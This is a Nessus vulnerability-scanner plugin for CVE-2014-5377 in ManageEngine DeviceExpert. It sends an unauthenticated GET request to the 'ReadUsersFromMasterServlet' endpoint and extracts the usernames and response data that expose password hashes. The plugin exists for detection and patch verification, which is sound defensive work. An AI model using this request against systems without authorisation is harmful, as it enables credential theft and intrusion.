ManageEngine DeviceExpert Unauthorized Information Disclosure

2014-09-04T00:00:00
ID MANAGEENGINE_DEVICEEXPERT_CVE-2014-5377.NASL
Type nessus
Reporter Tenable
Modified 2018-11-15T00:00:00

Description

ManageEngine DeviceExpert exposes user names and password hashes via a specially crafted GET request for 'ReadUsersFromMasterServlet'.

                                        
                                            #
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(77530);
  script_version("1.8");
  script_cvs_date("Date: 2018/11/15 20:50:17");

  script_cve_id("CVE-2014-5377");
  script_bugtraq_id(69443);
  script_xref(name:"EDB-ID", value:"34449");

  script_name(english:"ManageEngine DeviceExpert Unauthorized Information Disclosure");
  script_summary(english:"Tries to exploit the issue.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a web application affected by an
information disclosure vulnerability.");
  script_set_attribute(attribute:"description", value:
"ManageEngine DeviceExpert exposes user names and password hashes via
a specially crafted GET request for 'ReadUsersFromMasterServlet'.");

  # https://www.manageengine.com/network-configuration-manager/release-notes.html#5981
  script_set_attribute(attribute:"see_also",value:"http://www.nessus.org/u?af669cc9");
  script_set_attribute(attribute:"solution", value:"Upgrade to DeviceExpert 5.9 Build 5981.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"patch_publication_date", value:"2014/09/01");
  script_set_attribute(attribute:"vuln_publication_date", value:"2014/08/27");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/09/04");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine:device_expert");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2018 Tenable Network Security, Inc.");

  script_dependencies("manageengine_deviceexpert_detect.nasl");
  script_require_keys("installed_sw/manageengine_deviceexpert");
  script_require_ports("Services/www", 6060);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("install_func.inc");

app = "manageengine_deviceexpert";
get_kb_item_or_exit("installed_sw/"+app);

port = get_http_port(default:6060);

install = get_single_install(
  app_name : app,
  port     : port
);

tar = "ReadUsersFromMasterServlet";
dir = install["path"];
url = build_url(port:port, qs:dir);

res = http_send_recv3(
  method       : "GET",
  item         : url+tar,
  port         : port,
  exit_on_fail : TRUE
);

username = eregmatch(pattern:"<username>([^<]+)<\/username>",string:res[2]);
if(
  empty_or_null(res) || empty_or_null(res[2]) ||
  empty_or_null(username)
) audit(AUDIT_WEB_APP_NOT_AFFECTED, "ManageEngine DeviceExpert", url);

username = username[1];

# If we got here, we got the information we needed
if (report_verbosity > 0)
{
  report =
    '\nNessus was able to verify the issue exists using the following request :' +
    '\n' +
    '\n' + url+tar +
    '\n';
  if(report_verbosity <= 1) 
  {
    report +=
      '\n' + "The response contained the following user name : "+
      '\n' +
      '\n' + username +
      '\n';
  }
  if(report_verbosity > 1)
  {
    if (
      !defined_func("nasl_level") ||
      nasl_level() < 5200 ||
      !isnull(get_preference("sc_version"))
    )
    {
      snip =  crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
      report +=
        '\n' + 'The request produced the following truncated output :' +
        '\n' + snip +
        '\n' + beginning_of_response(resp:res[2], max_lines:'10') +
        '\n' + snip +
        '\n';
      security_warning(port:port, extra:report);
    }
    else
    {
      report +=
        '\n' + 'Attached is a copy of the response' + '\n';
      attachments = make_list();
      attachments[0] = make_array();
      attachments[0]["type" ] = "text/plain";
      attachments[0]["name" ] = "user_data.txt";
      attachments[0]["value"] = chomp(res[2]);
      security_report_with_attachments(
        port        : port,
        level       : 2,
        extra       : report,
        attachments : attachments
      );
    }
  } else security_warning(port:port,extra:report);
} else security_warning(port);